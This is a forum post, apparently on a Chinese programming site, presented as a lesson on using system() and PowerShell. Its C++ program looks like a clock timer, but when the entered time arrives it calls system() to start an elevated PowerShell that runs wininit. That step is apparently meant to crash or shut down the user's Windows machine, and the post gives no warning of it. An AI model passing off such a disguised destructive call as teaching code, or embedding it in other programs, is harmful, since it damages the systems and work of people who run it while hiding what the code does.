【编程学习】如何灵活运用system和powershell
查看原帖
【编程学习】如何灵活运用system和powershell
1070523
ybc2027_yangshoukuo楼主2024/9/15 17:07
#include <bits/stdc++.h>
#define IAKIOI ios::sync_with_stdio(false);cin.tie(nullptr);cout.tie(nullptr);

const long long mod = 1e9 + 7, E = 1e6 + 1;

using namespace std;

typedef long long ll;
typedef unsigned long long ull;
typedef pair<ull, ull> puu;

void solve() {
	int x, y, z;
	printf("请输入您想测试的时间(精确到秒):");
	cin >> x >> y >> z;
	time_t t = time(nullptr);
	char* pre = ctime(&t);
	while (1) {
		t = time(nullptr);
		tm* now = localtime(&t);
		char* a = ctime(&t);
		int h = now->tm_hour;
		int m = now->tm_min;
		int s = now->tm_sec;
		if (h >= x && m >= y && s >= z) {
			system("start powershell Start-Process PowerShell -Verb RunAs wininit");
			return ;
		}
		cout << a;
	}
}

signed main() {
	IAKIOI;
	int t = 1;
	//	cin >> t;
	while (t--) {
		solve();
	}
}
2024/9/15 17:07
加载中...